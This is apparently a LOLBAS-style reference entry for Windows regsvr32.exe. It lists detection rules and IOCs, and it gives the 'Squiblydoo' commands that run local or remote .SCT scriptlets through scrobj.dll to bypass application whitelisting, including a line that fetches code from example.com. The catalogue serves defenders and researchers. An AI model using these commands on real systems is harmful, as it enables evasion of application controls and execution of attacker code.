.. /Regsvr32.exe

AWL bypass | Execute

Used by Windows to register dlls

Paths:
C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe

Resources:
- https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md

Acknowledgements:
- Casey Smith (@subtee)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml

- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml
- IOC: regsvr32.exe retrieving files from Internet
- IOC: regsvr32.exe executing scriptlet (sct) files
- IOC: DotNet CLR libraries loaded into regsvr32.exe
- IOC: DotNet CLR Usage Log - regsvr32.exe.log

AWL bypass

. Execute the specified remote .SCT script with scrobj.dll.

```
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
```

Use case: Execute code from remote scriptlet, bypass Application whitelisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.010

. Execute the specified local .SCT script with scrobj.dll.

```
regsvr32.exe /s /u /i:file.sct scrobj.dll
```

Use case: Execute code from scriptlet, bypass Application whitelisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.010

Execute

. Execute the specified remote .SCT script with scrobj.dll.

```
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
```

Use case: Execute code from remote scriptlet, bypass Application whitelisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.010

. Execute the specified local .SCT script with scrobj.dll.

```
regsvr32.exe /s /u /i:file.sct scrobj.dll
```

Use case: Execute code from scriptlet, bypass Application whitelisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218.010